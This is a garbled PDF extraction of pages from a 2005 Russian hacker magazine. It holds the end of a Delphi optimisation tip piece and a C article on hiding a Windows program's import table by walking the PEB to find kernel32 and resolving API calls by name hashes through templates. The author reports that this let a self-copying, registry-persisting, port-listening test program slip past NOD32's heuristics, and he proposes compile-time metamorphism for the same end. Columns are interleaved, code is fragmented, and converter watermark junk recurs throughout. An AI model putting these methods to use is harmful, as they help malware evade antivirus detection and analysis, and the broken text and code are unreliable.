симость от системы. Получить ее очень просто — достаточно писать

 

 

 

 

 

 

 

 

 

код, не использующий ни API-функций, ни возможностей языка во-

 

 

 

 

 

 

 

 

 

обще. В некоторых случаях это совершенно невозможно (например,

 

 

 

 

 

 

 

 

 

в играх), но иногда функции системы абсолютно не нужны (напри-

 

 

 

 

 

 

 

 

 

мер, в математических алгоритмах).

 

 

 

 

 

 

 

 

 

 

 

В любом случае, следует четко разделять машинно-зависимую и ма-

 

 

 

 

 

 

 

 

 

шинно-независимую (если такая есть) части кода. При соблюдении

 

 

 

 

 

 

 

 

 

вышеописанных правил машинно-независимая часть будет совмес-

 

 

 

 

 

 

 

 

 

тима на уровне исходных текстов с любой системой, для которой

 

 

 

 

 

 

 

 

 

есть компилятор паскаля (а он есть даже для PIC-контроллеров). Не-

 

 

 

 

 

 

 

 

 

зависимый от API код можно смело компилировать в DLL и исполь-

 

 

 

 

 

 

 

 

 

зовать, например, в драйвере режима ядра. Также такую DLL не сос-

 

 

 

 

 

 

 

 

 

тавит труда использовать и в других ОС. Для этого нужно просто по-

 

 

 

 

 

 

 

 

 

секционно отмапить DLL в адресное пространство процесса, настро-

 

 

 

 

 

 

 

 

 

ить релоки и смело пользоваться ее функциями. Осуществляющий

 

 

 

 

 

 

 

 

 

это код на паскале занимает около 80 строк. Если же DLL все-таки

 

 

 

 

 

 

 

 

 

использует некоторые API-функции, то их наличие можно проэмули-

 

 

 

 

 

 

 

 

 

ровать, заполнив таблицу импорта DLL адресами заменяющих их

 

 

 

 

 

 

 

 

 

функций в своей программе.

 

 

 

 

 

 

 

 

 

 

 

[общие приемы оптимизации] Старайся везде, где можно, ис-

 

 

 

 

 

 

 

 

 

пользовать указатели. Никогда не передавай данные в функцию та-

 

 

 

 

 

 

 

 

 

ким образом:

 

 

 

 

 

 

 

 

 

 

 

procedure FigZnaet(Data: TStructure);

 

 

 

 

]

 

 

 

 

 

Всегда передавай указатели на структуры:

 

 

 

 

115

 

 

 

 

 

procedure FigZnaet(pData: PStructure) ; ãäå PStructure = ^TStructure;

 

 

 

 

КОДИНГ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Такой вызов происходит быстрее и экономит немалое количество кода.

 

 

 

 

 

 

 

 

 

 

 

Старайся не пользоваться типом данных string, вместо него всегда

 

 

 

 

 

 

 

 

 

можно использовать Pchar и обрабатывать строки вручную. Если ну-

 

 

 

 

 

 

 

 

 

жен временный буфер для хранения строки, то его следует объявить в

 

 

 

 

 

 

 

 

 

локальных переменных как array of char. Старайся передавать в функ-

 

 

 

 

 

 

 

 

 

цию не больше трех параметров: первые три параметра согласно ме-

 

 

 

 

 

 

 

 

 

тоду вызова fastcall (который по умолчанию применяется в Delphi) пе-

 

 

 

 

 

 

 

 

 

редаются в регистрах, а все последующие через стек, что замедляет

 

 

 

 

 

 

 

 

 

доступ к ним и увеличивает размер кода. Экономь память: если, нап-

 

 

 

 

 

 

 

 

 

ример, у тебя есть массив чисел, диапазон которых укладывается в

 

 

 

 

 

 

 

 

 

байт, то не нужно объявлять его как dword. Никогда не стоит писать

 

 

 

 

 

 

 

 

 

повторяющийся код.

 

 

 

 

>

 

 

 

 

 

Если какие-либо действия должны повторяться, то их нужно вынести

 

 

05

 

 

 

 

 

в функцию. Тем не менее, не стоит делать функцию, содержащую

 

 

[80]

 

 

 

 

 

 

 

 

 

 

 

 

 

 

две строчки кода, — ее вызов может занимать куда больше места,

 

 

08

 

 

 

 

 

чем она сама. И помни главное: эффективность кода в первую оче-

 

 

 

 

 

 

 

 

 

[XÀÊÅÐ

 

 

 

 

 

эффективнее

 

 

 

 

 

 

 

 

 

редь определяется не компилятором, а примененным алгоритмом,что

 

 

 

 

 

 

 

 

 

Николай «GorluM» Андреев (gorlum@real.xakep.ru)

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

НЬЮСЫ

 

 

 

 

 

 

 

w

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

FERRUM

PC_ZONE

ИМПЛАНТ

ВЗЛОМ

СЦЕНА

UNIXOID

КОДИНГ

КРЕАТИФФ

ЮНИТЫ

116

Долой импорт!

Я ДАВНО УБЕДИЛСЯ, ЧТО ОТ ТАБЛИЦЫ ИМПОРТА — ОДНО ТОЛЬКО ЗЛО. ИСПОЛЬЗОВАНИЕ ЕЕ ПРОГРАММОЙ МНОГОКРАТНО УПРОЩАЕТ ЖИЗНЬ ИССЛЕДОВАТЕЛЮ. ЕМУ ВСЕГОТО И НАДО, ЧТО ЗАГНАТЬ ЭКЗЕШНИК В ДИЗАССЕМБЛЕР И ВНИМАТЕЛЬНО ИЗУЧИТЬ ПОЛУЧЕННЫЕ ЛИСТИНГИ. АЛГОРИТМ РАБОТЫ МОЖНО БУДЕТ ОЧЕНЬ ЛЕГКО ВОССТАНОВИТЬ ПО ЯРКИМ МЕТКАМ ВЫЗОВОВ API И ПРИЯТНОМУ ГЛАЗУ АССЕМБЛЕРНОМУ КОДУ. НЕТ, ТАК ДЕЛО НЕ ПОЙДЕТ. МНЕ ЕЩЕ НЕ ХВАТАЛО, ЧТОБЫ КАЖДЫЙ, КТО СМОЖЕТ ДИЗАССЕМБЛЕР ЗАГРУЗИТЬ СМОГ ПОНЯТЬ, КАК МОИ ПРОГРАММЫ РАБОТАЮТ. В ЭТОМ МАТЕРИАЛЕ Я ПОКАЖУ, КАК МОЖНО НЕМНОГО ПОДПОРТИТЬ ЖИЗНЬ РЕВЕРСЕРУ, ИССЛЕДОВАТЕЛЮ, ВЗЛОМЩИКУ — В ОБЩЕМ, ЛЮБОМУ, КТО ЗАХОЧЕТ ПОНЯТЬ, ЧТО ДЕЛАЕТ ТВОЯ ПРОГРАММА |

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Пишем приложение, не использующее таблицу импорта, на Си

[ищем функции сами] Идея моя достаточно проста: заставить программу забыть такую страшную вещь как таблицу импорта. Причем не просто забыть, а забыть навсегда, чтобы ничто не напоминало о ней. Ни PE-заго- ловок, ни имена API-функций разбросанные по всему файлу. Делается это легко. Надо просто в программе вызывать все функции в обход импорта с помощью, скажем, той же GetProcAddress. Тогда компилятор не будет запихивать их в таблицу. Но сам адрес функции поиска API содержится в импорте. И даже, если все функции вначале искать с помощью GetProcAddress, таблица все равно останется. Хоть и с одной записью, но останется. Но не надо забывать о том, что одним из параметров этой функции является имя API, что, несомненно, сразу все выдаст исследователю. Поэтому имеет смысл сделать свою собственную функцию для поиска адресов функций, которые обычно прописываются в таблице импорта. Тьфу, сделать — хорошо сказал. Не надо ее делать, я ее уже давно сделал, и если ты читал предыдущие номера журнала и залезал на диск, ты должен был ее видеть. Смысл собственной функции в том, что:

1 ее не будет в таблице импорта, а следовательно, исследователю придется прилично покопаться, чтобы понять, что делает ее вызов; 2 поиск может осуществляться не только по имени, но, например, и по хэ-

шу, посчитанному от имени (в этом случае в программе вообще не фигурирует имени API, что серьезно затрудняет процесс исследования алгоритма работы программы… ну, конечно, не для всех серьезно, но все же).

В общем, бери ее с диска. Однако, как ты помнишь, функция GetProcAddress производит поиск адрес по таблице экспорта заданного тобой модуля. Обычно дескриптор, определяющий модуль, получается с помощью функций GetModuleHandle или LoadLibrary. Но в данном случае, вот засада, эти функции вызывать в исходном коде нельзя, так как это приведет к тому, что появится таблица импорта, о которой мы стремимся забыть. Поэтому придется отыскивать дескрипторы (привычнее, наверное, назвать их хэндлами) обходными путями.

[ищем ядро и модули] Ядро, то есть дескриптор, то есть хэндл библиотеки kernel32.dll найти очень просто (она подгружается к каждому

функции подсчета хэша и поиска адресов API-функций

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

t

 

 

P

D

 

 

 

 

 

 

 

 

o

 

 

 

 

 

NOW!

r

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

m

 

w Click

 

 

 

 

 

 

 

поэтому не надо никак дополнительно извращаться — толь-

 

w

 

 

 

 

 

 

 

процессу,o

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

ко найти). Этим всю жизнь занимаются вирмейкеры, и поэтому метод,

 

 

 

 

 

 

 

 

 

где только не описан. Заключается он в том, что дескриптор модуля ядра извлекается в общей сложности из структуры PEB, блока окружения процесса, ссылку на который можно получить, если обратиться к регистру fs по смещению 30h.

[всем известный поиск ядра]

HMODULE GetKernel()

{

__asm {

mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov esi, dword ptr [eax+1ch] lodsd

mov eax, dword ptr [eax+08h]

}

}

Имея ядро, можно найти в нем с помощью собственной функции GetProcAddress адрес LoadLibrary, подгрузить с ее помощью любую нужную библиотеку и искать уже в ней адрес необходимой для работы программы функции (как вариант, можно найти адрес GetModuleHandle). Геморрой, конечно, но он просто автоматизируется, а исследователю жизнь все-таки усложняет. В итоге, со всеми извращениями запуск API-функции, к примеру, MessageBox'а на Си выглядит следующим образом:

[я не такой уж и извращенец, честное слово!]

typedef int (WINAPI * tMessageBoxA) (HWND, LPCSTR, LPCSTR, UINT);

typedef HMODULE (WINAPI * tLoadLibraryA) (LPCSTR);

HMODULE hKernel32 = GetKernel();

tLoadLibraryA pLoadLibraryA = GetProcAddressEx

(hKernel32, "LoadLibraryA"); // 0xC8AC8026

HMODULE hUser32 = pLoadLibraryA ("user32.dll");

tMessageBox pMessageBox = GetProcAddressEx

(hUser32, "MessageBoxA" ); // 0xABBC680D

pMessageBox(0, "Hello world", "", 0);

Упс, наврал... Не со всеми извращениями. Ведь тут поиск осуществляется по имени, а нас это, как я уже говорил, не устраивает. Будем переделывать поиск, чтобы искал по хэшу.

[ищем функции по хэшу] Хэш — это некоторое число, которое считается от строки. Хэш-функция, соответственно, функция, — которая будет это число считать. Его ведь можно кучей разных способов получать. Она у нас будет очень простенькая, я ее выдрал из замечательных программ z0mbie и переписал на Си.

куча шаблонов

[хэш-функция]

DWORD CalcHash(char *str)

{

DWORD hash = 0; char* copystr = str; while(*copystr) {

hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7)); hash = hash^(*copystr);

copystr++;

}

return hash;

}

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Число, полученное в результате подсчета, почти уникально. Конечно, это я очень хреново выразился. Я хотел сказать, что вероятность того, что от двух разных строк ты получишь одно число — очень мала. А на пространстве имен функций какой-нибудь одной библиотеки вообще равна нулю. Потому-то и можно искать функцию в таблице экспорта, сравнивая не имена, а числа. Это позволяет хранить не палевное название API в программе, а всего лишь 4 байта хэша, которые влезают в любой регистр и могут просто жить в какой-нибудь инструкции, прямо в коде, а не в данных. Меня это обстоятельство радует безумно. Я вообще данные в программе не люблю.

Чтобы иметь возможность искать имя по хэшу, достаточно немного модифицировать функцию GetProcAddressEx. Второй параметр ее станет DWORD'ом вместо указателя на строку, а внутри вместо сравнения имен:

if (lstrcmp((char*)RVATOVA(hModule, *pdwNamePtr), lpProcName) == 0)

Будет сравнение второго параметра (hash) и подсчитанного хэша от рассматриваемого в конкретный момент имени функции:

if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == hash)

Запуск MessageBox'а с такой функцией преобразиться следующим образом:

...

HMODULE hKernel32 = GetKernel(); tLoadLibraryA pLoadLibraryA = GetProcAddressEx

(hKernel32, 0xC8AC8026);

HMODULE hUser32 = pLoadLibraryA ("user32.dll"); tMessageBox pMessageBox = GetProcAddressEx

(hUser32, 0xABBC680D);

...

Much better, теперь имена функций нигде в программе не фигурируют. Но черт! Так невозможно программировать! Уж лучше все знают, как моя программа работает. Ведь надо считать для каждой функции хэш, подставлять по мере необходимости, заново описывать каждую API. В общем, я как обычно придумал кучу проблем, чтобы с ней разобраться.

[удобный интерфейс] Первое, от чего я хочу избавиться, так это от бес-

]

конечных определений функций. Всех этих typedef'ов кошмарных и т.п. Сде-

117

 

лать это оказалось на удивление легко. Я просто создал несколько перегру-

КОДИНГ

Обладая огромным везе-

Про это ты, наверное, ниг-

 

нием и терпением, на дис-

де больше не сможешь

 

ке ты сумеешь откопать

прочесть. Это уникальная

 

все исходные коды, опи-

разработка никому кроме

 

санные в статье.

автора не нужная.

 

 

XÀÊÅÐ 08 [80] 05 >

вызов функции под дизассембером

[

женныхo m шаблонов функций, которые в общей сложности могли принимать
.c e g han любое число параметров. И для выполнения нужной функции передавал шаб-
лону хэш, хэндл модуля и аргументы. Все. Определять при этом каждую API
не нужно, знай себе юзай шаблоны для ВСЕГО. Этакие гейты для API. Мож-
но в них встроить какую-нибудь систему логирования, чтобы видеть все вы- #include <windows.h> зовы своей программы. Можно какой-нибудь время от времени срабатыва- #include "kernel32.dll.h" ющий антиотладочный прием поставить. Гейт для API в своей программе — #include "user32.dll.h"
полезная штука. В качестве препятствия анализу — особенно. Шаблоны выглядят так:
}
// для функции без аргументов, к примеру GetTickCount template <HMODULE h, DWORD hash>
inline LPVOID pushargEx()
{
typedef LPVOID (WINAPI *newfunc)();
newfunc func = (newfunc)GetProcAddressEx(h, hash); return func();
GMessageBox(0,"Hello world",0,0); return 0;
kernel32 = GetKernel();
user32 = GLoadLibraryA ("user32.dll");
HMODULE kernel32; HMODULE user32;
int WINAPI WinMain(HINSTANCE, HINSTANCE, PTSTR, int)
{
// хидер с функциями GetProcAddressEx, шаблонами и т.п. #include "noimport.h"
#pragma comment(linker,"/ENTRY:WinMain")
[пример программы без таблицы импорта]

 

 

 

 

hang

e

 

 

 

 

C

 

E

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

i

 

 

 

 

 

 

 

t

P

D

 

 

 

 

 

 

o

 

 

 

 

NOW!

r

 

 

 

 

 

BUY

 

 

 

 

 

to

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

p

 

 

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

f-xc

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

КОДИНГ 118]

[XÀÊÅÐ 08 [80] 05 >

// для функции с одним аргументом

 

 

template <HMODULE h, DWORD hash, class A>

}

 

inline LPVOID pushargEx(A a1)

 

 

{

 

 

 

typedef LPVOID (WINAPI *newfunc)(A);

[тестируем] Ну, что в итоге мы получили, кроме того, что в PE-заголовке

newfunc func = (newfunc)GetProcAddressEx(h, hash);

больше нельзя найти ссылки на таблицу импорта. Обычный определяемый

return func(a1);

 

любым дизассемблером вызов функции, вроде этого:

}

 

push

1000

// для функции с двумя аргументами

call

[Sleep]

template <HMODULE h, DWORD hash, class A, class B>

 

 

inline LPVOID pushargEx(A a1,

B a2)

Изменился на:

{

 

 

 

typedef LPVOID (WINAPI *newfunc)(A, B);

push

3D9972F5h

newfunc func = (newfunc)GetProcAddressEx(h, hash);

push

[esp+var_4]

return func(a1,a2);

 

call

sub_2AA026E4

}

 

push

1000

// для функции с тремя аргументами

call

eax

 

 

template <HMODULE h, DWORD hash, class A, class B, class C>

В коде теперь мало что понятно, правда? И если покруче покопаться, то с ди-

inline LPVOID pushargEx(A a1,

B a2, C a3)

зассембером будет тоже самое. Но можно постепенно понять, что

{

 

sub_2AA026E4 — это аналог функции GetProcAddress. Однако ищет функцию

typedef LPVOID (WINAPI *newfunc)(A, B, C);

он не по имени, а по посчитанной хэш-функции от имени. Кошмар! Чтобы

newfunc func = (newfunc)GetProcAddressEx(h, hash);

разобраться в том, что делает программа, написанная подобным образом,

return func(a1,a2,a3);

 

придется не один час просидеть с отладчиком и дизассемблером в руках,

}

 

пытаясь сопоставить, какому из подобных вызовов какой обычный API-вы-

// è ò.ä.

 

зов соответствует.

 

Не одному только реверсеру, кстати, кошмар. Всяческие эвристики и по-

 

 

добная фигня на этом деле тоже вымрут — проверено. Взять, к примеру,

Соответственно, вызов функции через них может выглядеть следующим

NOD32. Я для теста написал маленькую программу, копирующую себя в

образом:

 

системную директорию, в реестр и слушающую порт. NOD32 на паранои-

// вызовем, например, Sleep с аргументом -

дальном уровне безопасности тот час же окрестил ее как «вероятно ви-

рус». Потом я заменил все вызовы на мои «хитрые». Угадай, что на это ска-

// 1000, то есть одна секунда

 

зал антивирус? Ничего плохого! Скушал, буркнул «спасибо, вирусов не

// kernel32 - хэндл ядра, вычисленный ранее

найдено, приходите еще», и на боковую.

pushargEx<kernel32, 0x3D9972F5>(1000);

И это ведь только начало такой замечательной штуки как precompiled-

метаморфизм (вероятно, термин я придумал дурацкий, зато достиг в

 

 

этой штуке немалого). Компилятор можно научить таким офигенным

Просто, неправда ли? Однако по-прежнему смущают хэши, которые надо

штукам, какие и не снились обычным полиморфным или метаморфным

вычислять для каждой функции. Для того, чтобы не приходилось занимать-

движкам. Полная перестройка программы для них — пустяк. Главное —

ся еще и этим геморроем, я написал отдельную маленькую утилиту, кото-

правильно оформить исходный код, то есть научить всему компилятор.

рая вычисляет хэши и создает h-файл со специальным определением всех

Можно, к примеру, заставить его оформлять разные вызовы. Скажем, в

функций в заданной dll. Она вместе с сорцами лежит на диске. Пользовать-

зависимости от номера строки исходного кода вставлять либо call, либо

ся ей очень легко, пишешь calchash user32.dll, она тебе выдает файл

push $+5\push addr\ret, либо еще что-нибудь. Хэш-функции использовать

user32.dll.h с содержанием, вроде такого:

все время разные. Можно попробовать научить компилятор (о, недоку-

...

 

ментированные возможности, как вы прекрасны и ужасны одновремен-

 

но) перегружать операторы стандартных типов. Ты представь только —

#define GMessageBeep

pushargEx<user32, 0xABBEE6BC>

подсунуть свой оператор присваивания вместо дефолтного, и впихивать

#define GMessageBoxA

pushargEx<user32, 0xABBC680D>

в него все время кучу лишнего кода и каких-нибудь нехороших трюков

#define GMessageBoxExA

pushargEx<user32, 0x1A0256AE>

еще на этапе компиляции. Можно написать отличную систему, которая

#define GMessageBoxExW

pushargEx<user32, 0x1A0256B8>

позволяла бы обычные нормальные программы компилировать так,

...

 

словно компилятор в задницу оса укусила, так что никакие протекторы и

 

 

упаковщики не понадобятся.

Как ты уже понял, если добавить подобный хидер в программу вместе

Тебя, наверно, мучает вопрос: а зачем все это действительно нужно? Ус-

с описанными выше функциями, то для вызова API в обход таблицы импорта

ложнение анализа и т.п. — это понятно, а зачем метаморфизм какой-то, да

будет достаточно приписать к имени функции буковку G ;). Ну и, конечно,

еще и на этапе компиляции. Почему бы ни использовать готовые навесные

не забыть подгрузить в самом начале все библиотеки, назвав переменные

протекторы, зачем устраивать весь этот геморрой?

с их хэндлами по левой части имени файла dll.

Буду краток. Ради Дао

Соседние файлы в папке журнал хакер